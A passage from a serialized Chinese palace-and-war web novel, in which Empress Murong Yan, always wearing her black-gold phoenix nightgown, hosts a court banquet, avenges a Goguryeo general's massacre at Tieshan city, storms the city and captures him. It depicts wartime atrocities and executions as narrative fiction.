华贵到极致的墨金色锦缎,层层叠叠,如同泼洒的墨金河流,?凌乱地铺陈在象征帝国最高权力殿堂的地面上,这种近乎亵渎的随意,却带着一种碾压一切的、绝对的自信与掌控力! ?棉质的柔软与睡裙的舒适,在此刻更凸显出主人姿态的从容不迫,仿佛这并非庄严国宴,而是她的私人居所。 慕容嫣面色平静,?绝美的容颜上看不出喜怒,?唯有那双凤眸,?深邃如潭,?扫过台下群臣时,?带着一种洞悉一切的淡然。 她在林臻的虚扶下,缓步走向御座,每一步都沉稳从容。 那凌乱拖行的漫长墨金色轨迹,在她身后划出一道惊心动魄的符号,?所过之处,?连最细微的交谈声都消失了,?只剩下丝竹声和她自己裙裾摩擦地面的沙沙声。 她并未直接坐上那高高在上的龙椅,?而是先走到御阶中央,?早有宫人备好的,?一张铺着白虎皮的宽大凤椅。 她优雅地坐下,?那凌乱的拖尾自然堆叠在凤椅周围和台阶上。林臻则坐在她身侧稍后的一张稍小的椅子上,?姿态依旧亲密而自然。 “众卿平身。”慕容嫣微微抬手,?声音清越,?不大,?却清晰地传遍大殿每个角落。 “谢陛下!”百官起身,重新落座,但气氛已然不同。 许多人的目光,尤其是那些世家出身的大臣,都复杂地落在慕容嫣身上,落在那件神凤降世裙上。 他们不得不承认这身打扮的震撼力,但内心深处,更多的是一种混合着恐惧、怨恨、不甘与一丝难以言喻的屈辱的情绪。 他们百年世家,诗礼传家,何曾见过帝王在元日大宴上,以近乎“寝衣”的装扮示人? 这简直是对他们恪守的礼法最大的嘲讽! 但他们不敢表露半分,只能将一切情绪隐藏在恭敬的面具之下,随着众人一起举杯,山呼万岁,说着吉祥的贺词。 慕容嫣似乎很享受这种氛围。她并未过多言语,?只是偶尔举杯示意,?大部分时间,?都是慵懒地靠在凤椅上,?欣赏着殿中的歌舞,?或是侧头与林臻低声交谈几句。 林臻则会微微倾身,?专注地聆听,?时而为她布菜,?时而为她斟酒,?动作自然亲昵,?毫不避讳。 这种旁若无人的恩爱,更让那些讲究“君臣有别”的世家老臣感到刺眼,却只能暗自咬牙。 酒过三巡,菜过五味。慕容嫣似乎兴致渐高,?她轻轻拍了拍手**。乐声停止,舞姬退下。 “今日元日,朕心甚悦。”慕容嫣目光扫过全场,?嘴角含着一丝若有若无的笑意,“除了歌舞朕还想与诸位爱卿同乐。”她对身旁的内侍监示意。 很快,一群太监抬着几个巨大的、盖着红布的箱子来到殿中。红布揭开,里面竟是堆积如山的金银锞子、精巧的玉器玩物、以及来自海外的奇珍异宝! “这些是朕赏赐给诸位爱卿的新年之礼。”慕容嫣慵懒地说,“望诸位在新的一年里继续尽心竭力辅佐于朕共保我圣徽江山永固。” 赏赐极为丰厚,甚至有些超乎规格。但这“辅佐于朕”、“江山永固”的话语,听在那些世家大臣耳中,却如同针扎一般。 这分明是警告,也是利诱! 百官纷纷离席,跪地谢恩,无论真心假意,表面上都是一派感恩戴德。 慕容嫣微微颔首,?目光却似有若无地,?在几个世家领袖的脸上,?多停留了片刻。那目光,平静,却带着千斤重压,让王珣、崔文璟等人后背瞬间被冷汗浸湿,伏地更低。 赏赐完毕,宴会继续,气氛似乎更加热烈,但暗地里的波涛却愈发汹涌。 慕容嫣又坐了一会儿,?似乎有些倦了。 她对林臻低声说了句什么,?林臻点头。 随即,她缓缓站起身。 看到她起身,殿内再次安静下来。所有人都知道,陛下要起驾回宫了。 慕容嫣并未立刻离开,?她站在凤椅前,?最后看了一眼台下群臣,?目光深邃。然后,她转身,?准备从御阶另一侧离开。 就在她转身的刹那—— 动作带着一种盛宴将散的慵懒与决绝! 那迤逦在地、凌乱铺陈的五丈墨金色拖尾与霞帔,因这迅猛的回转被猛地带起! 华贵的锦缎如同凤凰展翅告别盛宴,?唰啦一声,?在光滑的金砖地面上划出一道绚烂而凌厉的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在殿内无数灯火照耀下璀璨如烈日骄阳的“满地织金”内衬!?? 百凤朝阳、万福万寿的纹路在瞬间迸发出耀眼夺目的金芒,尊贵、辉煌,且带着一种洞悉所有阴谋、掌控一切命运的绝对力量! 这惊鸿一瞥的金光,仿佛一道无形的烙印,深深地刻在了每一个心怀异志者的灵魂深处! 裙摆落下,华光内敛于沉静的墨色与庄重的礼服之下。 慕容嫣再不停留,?在林臻的陪同下,?缓步离去。 那漫长的墨金色轨迹,?最终消失在屏风之后。 陛下离去,元日大宴也接近尾声。 百官恭送后,各自怀着复杂的心情散去。 那些世家重臣们,在走出太极殿,感受到室外凛冽的寒风时,才仿佛松了一口气,但心头的那块巨石,却愈发沉重。 慕容嫣今夜虽未发一言斥责,但那身神凤降世裙带来的视觉与心理冲击,那丰厚的赏赐背后的警告,以及最后那惊心动魄的金色内衬,都让他们明白,这位女帝,远比他们想象的更难对付。 新的一年,等待他们的,恐怕依旧是荆棘密布的前路。 而凤寰宫内,慕容嫣已卸去沉重的霞帔,?只穿着那身神凤降世裙,?慵懒地倒入暖榻。 林臻为她端来醒酒汤,?轻声问?:“嫣儿今日可还满意?” 慕容嫣就着他的手喝了一口,?微微一笑,?那笑容在宫灯下显得格外明媚?:“一群各怀鬼胎的戏子,看着倒也有趣。” 她闭上眼,?轻声说,“不过还是和夫君单独在一起最舒服。” 林臻将她拥入怀中,?眼中是化不开的深情。 第954章 辽东战事失利 圣徽二年,元月十五,上元佳节的红灯笼还未来得及在长安城头摘下,一道染血的八百里加急军报,如同腊月里最凛冽的寒风,撞开了皇城的安宁,直抵凤寰宫。 辽东大败! 急报所述,高句丽大将金武成趁鸭绿江冰封,率两万精锐夜渡,突袭边境重镇铁山城。 辽东守将李信,虽此前得慕容嫣密旨“依计行事”,令铁山城“外紧内松”诱敌,却万万没料到高句丽兵力如此迅猛,攻势如此酷烈! 守军佯装不敌,欲诱敌深入,然而高句丽军队如同疯狗,破城后竟不似试探,反而直插腹地,烧杀抢掠,辽东防线瞬间被撕开一道巨大的口子,数座城池告急,军民死伤惨重! 李信拼死抵抗,身负重伤,才勉强稳住阵脚,但辽东大片土地已陷于敌手,烽火连天! 消息传入宫中时,慕容嫣正与林臻在暖阁内对弈。 棋盘上黑白子纠缠,恰似天下局势。她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外罩一件家常的黑金色苏锦长衫,?长衫并未系紧,?慵懒地披着。 当暗卫统领几乎是踉跄着扑入,呈上那份沾着泥污和疑似血渍的军报时,慕容嫣拈着白子的手,?悬在了半空。 林臻瞬间放下手中的黑子,?面色凝重地接过军报,?快速浏览,?越看,?脸色越是阴沉如水。 慕容嫣没有说话,?只是静静地看着林臻,?凤眸中,?那抹平日里的慵懒与温情,?以肉眼可见的速度,?迅速褪去,?冻结,?最终化为一片深不见底的寒潭。 阁内温暖如春,却仿佛瞬间被抽空了所有温度。 “念。”她红唇轻启,?吐出一个字,?声音平静得可怕。 林臻深吸一口气,用尽可能平稳的语调,将军报上的惨状一字不落地念出。 每念一句,慕容嫣脸上的冰霜便厚一分。 当听到“李信重伤,辽东数城沦陷,百姓遭屠”时,她悬在半空的手指,?微微颤抖了一下,?那枚温润的白子,“啪嗒”一声,掉落在棋盘上,打乱了棋局。 死一般的寂静。 良久,慕容嫣缓缓站起身。 那长达五丈的苏锦拖尾,?连同长衫的下摆,?随着她的动作,?迤逦地,?甚至有些沉重地,?从暖榻滑落到冰冷的地板上,?墨金色的锦缎,?在光洁的地面上,?拖拽出凌乱而压抑的痕迹。 “好,好一个李信。”她的声音依旧平静,?却像是暴风雪前的死寂,“好一个‘依计行事’,朕让他诱敌没让他把整个辽东都‘诱’进去!” 她猛地转身?! 动作快如闪电,带着一股压抑到极致的暴怒! 那轻盈华贵的墨金色拖尾与长衫下摆因这迅猛的回转被猛地带起! 如同被激怒的凤凰之翼,轰然展开,?唰啦一声,?扫翻了榻边的棋篓,?黑白棋子哗啦啦洒了一地?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在阁内光下却仿佛燃烧着冰冷火焰的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,但那金光此刻却充满了戾气与杀意,尊贵、辉煌,却更像是为一场血腥复仇拉开的序幕! 裙摆落下,华光被更深的墨色与怒意吞噬。 “传旨!”慕容嫣不再看那狼藉的棋盘,?声音如同淬了冰的刀子,?斩钉截铁, “辽东守将李信,贻误军机,丧师失地,罪无可赦!即刻锁拿进京!不,不必进京了!”她眼中寒光一闪,“令钦使持朕剑印赶赴辽东军前就地正法!首级传阅九边!朕要让所有将士看看丢失国土是什么下场!” 此言一出,连林臻都微微变色。 李信虽有罪,但罪不至死,更何况是军前斩首,传首九边! 这惩罚,太重了! 但他看着慕容嫣那冰冷刺骨的眼神,知道此刻任何劝谏都是徒劳,甚至会引火烧身。 她需要鲜血来洗刷耻辱,重振军威。 “是。”林臻沉声应下,立刻吩咐暗卫去传令。 慕容嫣胸口微微起伏,?显然怒意未平。 她踱步到窗前,?猛地推开窗户,?让外面冰冷的空气涌入。 寒风拂动她宽大的喇叭袖和披散的长发,?她却浑然不觉。 “高句丽,金武成。”她望着北方,?一字一顿地念着这两个名字,?每一个字都像是从牙缝里挤出来的,“朕要给过你们机会,是你们自己找死!” 她霍然回身,?目光锐利如刀,?直视林臻?:“夫君,点齐兵马三日后朕要御驾亲征!” “亲征?”林臻心头一震,尽管有所预料,但亲耳听到,还是感到一阵心悸,“嫣儿,辽东苦寒,战事凶险,你万金之躯……” “不必多言!”慕容嫣打断他,?语气不容置疑,“朕意已决!高句丽欺朕太甚!此战,若不将其打疼打怕,打断脊梁,我大乾北境永无宁日!朕要亲自去看看那金武成有几个脑袋够朕砍!” 她的声音中充满了不容置疑的决绝和一种近乎疯狂的戾气。 接连的胜利和绝对的权力,似乎让她无法容忍任何形式的失败和挑衅,尤其是来自高句丽这等跳梁小丑的挑衅! 林臻知道无法劝阻,只能深深吸一口气,单膝跪地:“臣遵旨!臣必护陛下周全,鞍前马后,万死不辞!” 慕容嫣看着他,?眼中的戾气稍稍收敛,?闪过一丝复杂。 她伸手,?轻轻扶起他,?指尖戴着墨玉扳指,?微凉。 “夫君,起来,朕知道凶险,但有些事必须朕亲自去做。”她的声音低了些,带着一丝不易察觉的依赖,“有你在,朕安心。” 林臻起身,紧紧握住她的手:“嫣儿放心,有为夫在,定不让任何人伤你分毫。我这就去准备,调集禁军精锐,筹备粮草军械。” 慕容嫣点了点头,?目光再次投向窗外,?仿佛已经看到了辽东的烽火。“去吧,朕要静一静。” 林臻躬身退下,暖阁内只剩下慕容嫣一人。 她静静地站在窗前,?寒风吹动着她的长发和裙裾。 那身神凤降世裙在寒风中猎猎作响,?墨金色的光芒在阴沉的天光下,?更显冷冽而肃杀。 那凌乱铺地的拖尾,?如同战败后狼藉的战场,?也如同她此刻纷乱而坚决的心绪。 她知道李信或许有冤屈,?知道军前斩将可能动摇军心,?更知道御驾亲征的风险。 但她更知道,此时此刻,她需要的是铁血,是雷霆手段,是向天下人宣告——犯大乾天威者,虽远必诛! 而她慕容嫣,绝非可欺之主! 那身神凤降世裙,将不再是深宫中的华美装饰,而是即将染血的战袍! 良久,她缓缓关上窗户,?隔绝了外面的寒气。 她走到梳妆台前,?看着镜中自己绝美却冰冷的面容,?以及身上那件墨金色的睡裙。 她伸出手,?轻轻抚过裙摆上那只昂首欲飞的凤凰,?眼中,?最后一丝犹豫,?彻底消散,?取而代之的,?是坚定如铁的杀伐之意。 “传旨,”她对着空无一人的暖阁,?轻声说道,?声音却清晰地传到了守候在外的宫女耳中,“将朕的铠甲取来。” 一场席卷辽东的血雨腥风,即将因这位身着睡裙的女帝的怒火,而彻底点燃。 第955章 人间地狱 圣徽二年,元月十八。 辽东大地,寒风如刀,卷起地上的积雪,却卷不散空气中浓重的血腥与焦糊气味。 铁山城,这座昔日大乾辽东的边陲重镇,此刻已沦为人间地狱。 城墙之上,原本飘扬的圣徽龙旗被粗暴地扯下,换上了高句丽的狼头旗,旗帜在寒风中猎猎作响,仿佛饿狼的狞笑。 城内,断壁残垣随处可见,黑烟从多处仍在燃烧的房屋升起。 街道上横七竖八地躺着来不及逃走的百姓尸体,冻硬的血液将积雪染成暗红色。 女人的哭喊声、高句丽士兵粗野的狂笑声、以及兵刃碰撞的声音混杂在一起,构成了一曲恐怖的亡城之音。 城中心,原铁山城守备府衙,此刻已成为高句丽先锋大将金武成的临时帅府。 府衙大堂内,与外面的惨状形成诡异对比的,是一片喧嚣奢靡的景象。 巨大的炭火盆烧得通红,驱散了寒意,也映照着一张张因酒精和杀戮而兴奋扭曲的脸。 金武成,这位高句丽有名的悍将,身材魁梧,满面虬髯,此刻正袒胸露怀,踞坐在原本属于大乾守将的主位虎皮椅上。 他面前的长案上,堆满了抢掠来的美酒佳肴,杯盘狼藉。 左右两侧,坐着他的副将、偏将们,个个喝得面红耳赤,放浪形骸。 大殿中央,几名衣衫不整、面容惨白、眼中充满恐惧的大乾年轻女子,正被迫随着粗陋的胡乐,颤抖地扭动着身体。 她们的舞蹈毫无美感,只有无尽的屈辱与绝望。 “哈哈哈!好!跳得好!”金武成猛地灌下一大碗酒,将酒碗重重砸在案上,发出砰然巨响。 他猩红的眼睛死死盯着其中一个姿色最为出众的女子,突然伸出毛茸茸的大手,一把将那女子拽了过来,强行搂在怀里。 女子吓得浑身僵直,连尖叫都发不出来,只有眼泪无声地滑落。 金武成粗糙的手指捏着女子的下巴,迫使她抬起头,喷着酒气的嘴凑近,狞笑道:“啧啧,大乾的女人就是水灵!这皮肤比咱们高句丽的娘们儿嫩多了!哈哈哈!” 周围的将领们立刻发出一阵谄媚的哄笑和附和: “大将军说的是!大乾物华天宝,连女人都格外可口!” “此番大将军旗开得胜,连克数城,这等绝色,正该配大将军这等英雄!” “听说那大乾的女帝慕容嫣,也是个绝色美人儿,终日穿着一身华贵无比的黑金睡裙?,在宫中养尊处优!待我军攻破长安,大将军说不定也能将那女帝搂在怀里,尝尝滋味呢!哈哈哈!” 最后这句话,带着极大的亵渎与狂妄,却极大地取悦了金武成。 他眼中闪过一丝淫邪的光芒,狂笑道:“说得好!慕容嫣!哼!一个靠着裙带关系和几分姿色爬上龙床的女人,也配称帝?待本将军踏平辽东,剑指中原,定要亲手剥下她那身华而不实的睡裙,让她在咱们高句丽的勇士面前,好好跳上一支舞!看看是她那身绣着凤凰的衣裳好看,还是她的人更勾魂!哈哈哈!” 他一边说着,一边更加用力地揉搓着怀中瑟瑟发抖的女子,那女子如同风中残叶,眼中已是一片死灰。 堂下的其他高句丽将领更是污言秽语不断,将慕容嫣和那身他们想象中的睡裙,肆意侮辱调侃,仿佛胜利已然在握。 这场所谓的“庆功宴”,在受害者的血泪与施暴者的狂欢中,持续到深夜。 金武成最终醉醺醺地搂着那个抢来的女子,歪歪斜斜地走向后堂。 辽东冬夜的寒风,吹不散这座城池的罪恶与绝望,只有那高句丽的狼头旗,在血色与火光中,狰狞地飘扬。 与此同时,数千里之外的大乾凤寰宫,却笼罩在一片极致的低气压中。 尽管已是深夜,宫殿内却灯火通明,气氛凝重得让人窒息。 慕容嫣并没有像往常一样慵懒地偎在榻上。 她站立在寝殿巨大的辽东舆图前,?身姿挺拔如松,?背对着殿门。 身上依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 林臻静静地站在她身后几步远的地方,?面色沉凝如水。 他手中拿着一份刚刚由最精锐的“夜枭”冒死送出的、详细记录了铁山城惨状的密报。 上面的每一个字,都浸透着辽东百姓的血泪。 暗卫统领跪在殿门处,连大气都不敢喘。 殿内伺候的宫女太监早已被屏退,只剩下帝后二人和这份沉重的密报。 慕容嫣没有回头,?她的目光,?死死地钉在舆图上“铁山城”那个点上。 良久,她才用一种极其平静,?平静得令人毛骨悚然的声音,?缓缓开口?:“念。” 林臻深吸一口气,用低沉而清晰的声音,开始念诵密报上的内容。 从高句丽破城后的屠杀,到抢掠奸淫,再到金武成在庆功宴上的狂言妄语,包括那些对慕容嫣本人和那身神凤降世裙?极其不堪的亵渎之词,一字不落! 当念到金武成扬言要剥下她的睡裙,让她跳舞时,林臻的声音带着无法抑制的颤抖和杀意,但他强行控制住了。 密报念完,殿内陷入了死一般的寂静。 只有烛火偶尔爆开的噼啪声,显得格外刺耳。 慕容嫣依旧背对着众人,?一动不动。 但她垂在身侧的双手,?已紧紧握成了拳,?指甲深深嵌入了掌心,?甚至渗出了丝丝血迹,?染红了袖口。 她宽大的喇叭袖,?在没有任何风的情况下,?竟微微地,?无风自动。 那长达五丈的苏锦拖尾,?连同大氅的下摆,?迤逦地铺陈在光洁冰冷的地板上,?墨金色的锦缎,?此刻不再显得华贵,?反而像一片凝固的,?即将爆发的,?黑暗的怒火?! ?凌乱的铺陈方式,此刻更像是心绪极度压抑下的外在表现。 突然,慕容嫣猛地转过身来?! 动作快如闪电,带着一股毁天灭地的戾气! 那迤逦在地的墨金色巨幅裙摆因这迅猛至极的回转被轰然带起! 如同被彻底激怒的凤凰,展开了它燃烧着复仇火焰的双翼,?唰啦一声,?席卷过地面,?甚至带起了细微的气流?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在烛光下却仿佛流淌着熔岩般炽热与冰冷的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出刺眼夺目的金芒,那金光不再象征尊贵,而是充满了血腥的杀伐之气,仿佛有无数凤唳即将破衣而出,要将一切亵渎者撕成碎片! 这惊鸿一瞥,不再是华美的展示,而是死亡的通知书! 裙摆落下,将那骇人的金光暂时收敛。 慕容嫣的脸,?此刻苍白得没有一丝血色,?但那双凤眸,?却亮得吓人,?里面燃烧着足以焚毁一切的火焰?! 她的目光,?先是落在林臻手中的密报上,?然后,?缓缓抬起,?望向殿外辽东的方向。 她没有咆哮,?没有怒吼。她只是用那种平静到了极致,?因而也恐怖到了极致的声音,?一字一顿地,?说道?: “金、武、成” 每一个字,都像是从万载寒冰中凿出,带着彻骨的杀意。 “朕要将他碎、尸、万、段!” 她的目光转向跪着的暗卫统领?:“传朕旨意,三军提前开拔,明日辰时朕亲赴辽东!” “陛下!”林臻上前一步,眼中满是担忧。 辽东现在已是龙潭虎穴,慕容嫣此时前去,太过危险。 慕容嫣抬手,?阻止了他要说的话。 她看着他,?眼中的火焰稍稍收敛,?却化作了一种更为坚定的,?不容置疑的决绝?:“夫君不必再劝,有些血,必须用血来洗,有些债,必须亲手去讨。” 她顿了顿,?声音低沉却清晰?:“备甲,朕要披甲。” 林臻看着她,知道一切劝阻都已无用。 他重重地点了点头:“臣遵旨!” 慕容嫣最后看了一眼那幅辽东舆图,?目光如同最锋利的刀子,?仿佛要将那块染血的土地,?连同上面的敌人,?一同剜掉。 然后,她转身,?向寝殿深处走去。 那墨金色的,?沾染了无形血火的拖尾,?在她身后,?划出一道沉重而决绝的轨迹。 第956章 破城! 圣徽二年,元月二十五。 辽东的铁山城,依旧笼罩在血腥与恐惧之中,只是施暴者与受害者的角色,即将迎来彻底的逆转。 凛冽的寒风中,一面巨大的玄色凤旗,在一望无际的黑甲洪流簇拥下,如同撕裂灰白天空的墨色闪电,出现在铁山城外的雪原之上。 大乾皇帝慕容嫣,御驾亲征,兵临城下! 城头之上,高句丽守军早已乱作一团。 连日来的烧杀抢掠消磨了他们的警惕,当看到远方那铺天盖地、杀气腾腾的大乾军阵时,恐慌如同瘟疫般蔓延。 主将金武成在亲兵的簇拥下,急匆匆登上城楼,当他看到那面在寒风中猎猎作响的凤旗,以及军阵前方那个即便隔着遥远距离,也能感受到其惊人气势的华贵身影时,他的心脏猛地一缩, 但随即,一股蛮横的凶戾之气涌了上来。 慕容嫣并未穿戴沉重的铠甲。 她端坐在一匹神骏异常的雪白战马之上,?身着已成为她标志的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙?!? 为了骑乘,那长达五丈的苏锦拖尾被小心地拖在地上,显得十分凌乱。 ?墨金色的锦缎与皑皑白雪形成了极致刺目的对比。? 睡裙之上,那只擎天巨凤在战场肃杀的氛围中,更显狰狞与威严,仿佛随时会脱离束缚,扑向城池。? 她左手紧握缰绳,?拇指上的墨玉扳指在阴沉的天光下泛着冷硬的光泽。 ?棉质的柔软与睡裙的样式,在这铁血战场上,构成了一种颠覆性的、令人窒息的强大存在感。 林臻一身玄黑铁甲,?手持长槊,?骑着一匹乌骓马,?紧紧护卫在慕容嫣左侧稍后的位置,?目光如鹰隼般锁定城头,?周身杀气凛然。 金武成扶着垛口,强自镇定,运足气力,朝着城下吼道:“呔!城下可是大乾的女皇帝?不在你的深宫里穿着漂亮睡裙享福,跑到这苦寒之地来送死吗?哈哈哈!” 他的声音粗野,带着刻意羞辱的狂笑,试图激怒慕容嫣,也给自己和手下壮胆。 城上的高句丽士兵也跟着发出一阵哄笑,只是笑声中难免带着色厉内荏。 慕容嫣端坐马上,?面无表情。 寒风吹拂着她的发丝和斗篷,但她身形稳如磐石。她甚至没有抬眼去看金武成,?只是目光平静地扫过铁山城破损的城墙,?以及城头上那些惊慌失措的守军。 金武成的污言秽语,仿佛只是耳边掠过的蚊蝇之声。 然而,站在她身侧的林臻,却能清晰地感受到,身边人那平静外表下,即将喷发的、足以焚毁一切的怒火。 她握着缰绳的手指,?因用力而指节发白。 金武成见慕容嫣不答话,以为她怯懦,气焰更盛,言语也更加不堪入耳:“慕容嫣!听说你那身绣着凤凰的睡裙很是好看?不如脱下来送给本将军,本将军或许可以考虑饶你不死!到时候,本将军抱着你,让你在这辽东雪地里,也给咱们跳支舞,岂不快活?哈哈哈!” 这话语,与密报中所载如出一辙,极尽亵渎! 就在这时,慕容嫣终于动了。 她微微抬起手。 身后,一名掌旗官猛地挥动令旗! 霎时间,地动山摇! 部署在军阵后方的数十门重型红衣大炮,喷吐出炽热的火舌和震耳欲聋的轰鸣! 黑色的炮弹划破寒冷的空气,带着死亡的尖啸,狠狠地砸向铁山城的城墙! “轰!轰!轰——!” 连续的巨响如同九天雷霆! 砖石飞溅,烟尘弥漫! 本就因之前战斗而有所损毁的城墙,在这猛烈的炮火下,如同纸糊一般,瞬间被撕开数道巨大的缺口! 城头上的守军被炸得血肉横飞,惨叫声不绝于耳! 金武成被震得一个趔趄,差点摔倒,脸上的狂笑瞬间凝固,取而代之的是无比的惊骇! 他万万没想到,慕容嫣竟如此果决,甚至连一句废话都没有,直接动用如此凶猛的火力! 炮火持续轰击,城墙缺口不断扩大,守军士气彻底崩溃! 慕容嫣缓缓拔出了悬挂在马鞍旁的一柄修长锋利的长枪。 枪身映着雪光,寒气逼人。 她转头,?看向身旁的林臻,?目光交汇,?无需言语。 林臻重重颔首,长槊向前一指,声如洪钟:“陛下有令!攻城!诛尽敌寇,雪我国耻!” “杀——!” 积蓄已久的怒火如同火山爆发! 数万大乾精锐将士,如同决堤的洪流,朝着城墙缺口汹涌而去! 慕容嫣一夹马腹,?那匹白马长嘶一声,?如同一道白色闪电,?竟率先冲了出去?! 林臻大惊,急忙催马紧随护卫! 她冲在队伍的最前方?!? 拖尾在疾驰中向后飞扬,?神凤降世裙随风鼓动?! 那墨金色的身影在雪地、硝烟和血光中显得如此耀眼而诡异?! 那凌乱拖曳在马后雪地上的漫长拖尾,?沾染了泥泞和雪水,?更添几分沙场的残酷与决绝?! 一名高句丽军官试图组织抵抗,慕容嫣长枪挥过,?带起一蓬血雨,?人头落地?! 她目光冰冷,?手下没有丝毫留情,?每一枪都精准而狠辣,?如同砍瓜切菜?! 她并非依靠蛮力,?而是凭借高超的骑术和一种近乎本能的杀戮技巧,?在乱军中穿梭,?所过之处,?高句丽士兵纷纷倒地?! 林臻护在她身侧,长槊舞动,将试图靠近她的敌人尽数挑飞,心中却是震撼无比。 他知她武艺不俗,却从未见过她如此模样,如同复仇女神降临人间! 城墙已破,巷战更为惨烈。 但大乾将士见皇帝陛下亲自冲锋陷阵,且如此悍勇,士气高涨到了极点,个个如下山猛虎,杀得高句丽溃兵抱头鼠窜。 慕容嫣的目标非常明确——直冲城守府衙?! 沿途但凡有阻挡者,皆成其枪下亡魂! 她的白色战马已被敌人的鲜血染红,?那身神凤降世裙的裙摆和拖尾,?也溅上了点点猩红,?墨金与血红交织,?形成一幅惊心动魄的画面。 终于,她一人一马,?踏破了府衙的大门。 府内,金武成和几名负隅顽抗的亲兵,正惊恐地看着这尊杀神闯入。 “慕容嫣!”金武成色厉内荏地举起战刀。 慕容嫣甚至没有给他出手的机会?! 她猛地从马背上跃起,?身形轻盈如凤,?手中长枪划出一道冰冷的弧线?! “铛!”金武成的战刀被磕飞! 他还想反抗,慕容嫣落地瞬间,?回身一脚踹在他的膝弯?! 金武成惨叫一声,跪倒在地。 紧接着慕容嫣的长枪便架在了他的脖子上?! 整个过程,快如电光石火! 直到此时,林臻才带着亲兵冲入府衙,看到眼前一幕,松了口气,随即下令清剿残敌。 慕容嫣微微喘息着,?胸脯起伏。 她低头,?看着脚下如同死狗般跪着的金武成,?眼中,?是毫不掩饰的冰冷杀意。 金武成抬头,看着近在咫尺的慕容嫣,看着她身上那件沾满血污却依旧华美诡异的墨金色睡裙,看着裙摆上那只仿佛在血海中翱翔的巨凤,他终于感到了彻骨的恐惧! 这女人……根本不是人! 慕容嫣缓缓收回长枪,?对林臻吩咐道?:“绑了,带走。” 然后,她转过身,?看向府衙外依旧传来喊杀声的街道。 就在她转身的刹那—— 动作带着大仇得报一部的快意与未尽的杀伐! 那沾染了血污、凌乱拖曳的五丈墨金色拖尾因这迅猛的回转被猛地带起! 如同浴血凤凰振翅,?唰啦一声,?扫过满是狼藉的地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在血色与硝烟映衬下更显璀璨与残酷的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,但那金光仿佛也带着血色的温度,尊贵、辉煌,且带着碾碎一切仇敌的、令人胆寒的胜利姿态! 裙摆落下,将金光与血腥一同掩盖。 慕容嫣迈步走出府衙,?看着逐渐被控制住的城池,?看着跪满一地的俘虏,?看着大乾的旗帜重新插上城头。 她的脸上,?依旧没有笑容,?只有一片冰冷的肃杀。 铁山城,收复了。 但复仇,才刚刚开始。 金武成被生擒,等待他的,将是慕容嫣无尽的怒火。 第957章 做成人彘,以儆效尤 圣徽二年,元月二十六。 铁山城在经历了一夜的厮杀与清洗后,迎来了一个阴沉的黎明。 硝烟尚未完全散去,空气中混杂着血腥、焦糊和冰雪的气息。 城中的百姓,从藏身之处被大乾士兵小心翼翼地引导出来,他们衣衫褴褛,面黄肌瘦,眼中充满了劫后余生的惊恐与麻木,以及在看到横行霸道的高句丽士兵变成满地尸骸后,渐渐燃起的一丝微弱的光芒。 原铁山城守备府衙,如今已成为慕容嫣的行在。 府衙大门洞开,门前那片曾经被高句丽人用作“庆功”的广场,此刻被肃杀的气氛笼罩。 一队队黑甲森然的大乾禁军持戟而立,将广场围住。 无数幸存的铁山城百姓,被引导着聚集在广场周围,他们惴惴不安,不知道这位传说中的女帝,将如何处置这座城市和他们的命运。 府衙大堂内,烛火通明,却驱不散那股源自权力与仇恨的寒意。 慕容嫣并未坐在主位,?而是站立在堂中,?背对着门口,?凝视着墙壁上悬挂的一幅巨大的辽东舆图。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 那长达五丈的苏锦拖尾,?并未经过任何整理,?就那样迤逦地,?甚至有些残酷地拖行在府衙大堂冰冷而沾着些许污渍的青石板地面上。? 墨金色的锦缎与肃杀的环境,?与门外隐约传来的百姓啜泣声,?形成了一种令人心悸的对比。? 睡裙之上,那只擎天巨凤在昏暗的堂内,仿佛收敛了所有华光,只剩下冰冷的睥睨与肃杀。 ?她左手拇指上的墨玉扳指,在摇曳的烛光下,泛着幽冷的光泽。 ?棉质的柔软与睡裙的样式,在此刻,非但没有减弱她的威严,反而更添一种将极致个人习惯凌驾于一切环境之上的、令人胆寒的掌控力。 林臻一身戎装,?按剑立在门侧,?面色冷峻,?目光扫过堂外,?确保万无一失。 他的存在,如同慕容嫣最坚实的影子与屏障。 “带逆酋金武成。”慕容嫣没有回头,?声音平静地响起,?却如同冰珠落玉盘,?敲在每个人的心上。 两名魁梧的禁军士兵,将捆得如同粽子一般、浑身血迹、狼狈不堪的金武成拖了进来,重重摔在堂下。 这位一日前还在城中作威作福、大放厥词的高句丽悍将,此刻面如死灰,眼中充满了恐惧与绝望。 他挣扎着抬起头,看到站在堂中那抹墨金色的身影时,身体不由自主地剧烈颤抖起来。 那身睡裙,此刻在他眼中,不再是华美的服饰,而是索命的无常袍! 慕容嫣缓缓转过身。 她的脸上没有任何表情,?既无胜利者的得意,?也无面对仇敌的愤怒,?只有一片深不见底的冰冷。 她的目光,?如同两把冰锥,?刺向地上的金武成。 “金武成。”她开口,?声音不高,?却带着千钧重压,“你在铁山城都做了些什么,一五一十说出来给朕听,也给门外那些被你残害的百姓听听。” 金武成牙齿打颤,还想狡辩:“陛下,外臣只是……” “说!”慕容嫣猛地打断他,?声音陡然转厉?! 同时,她向前踏出一步?! 那迤逦在地的墨金色拖尾随着她的动作摩擦地面,?发出沙沙的声响,?在这死寂的堂内,?如同催命的鼓点?! 金武成吓得魂飞魄散,再也无法抵抗,涕泪横流地将他如何纵兵屠城、如何抢掠奸淫、如何在那庆功宴上侮辱慕容嫣和那身神凤降世裙?的罪行,断断续续地供述了出来。 他的供词,与“夜枭”密报丝毫不差,甚至更为详细、更为丑恶! 堂外,隐约能听到百姓们压抑的哭声和愤怒的骚动。 慕容嫣静静地听着,?脸上的冰霜越来越厚。 当金武成说到如何亵渎她时,她戴着墨玉扳指的左手,?微微握紧。 供述完毕,金武成瘫软在地,如同烂泥。 慕容嫣沉默了片刻。然后,她抬起头,?目光似乎穿透了屋顶,?望向外面的天空。 她的声音,?再次恢复了那种令人恐惧的平静?:“辽东,朕的辽东,朕的子民岂容尔等蛮夷如此践踏!” 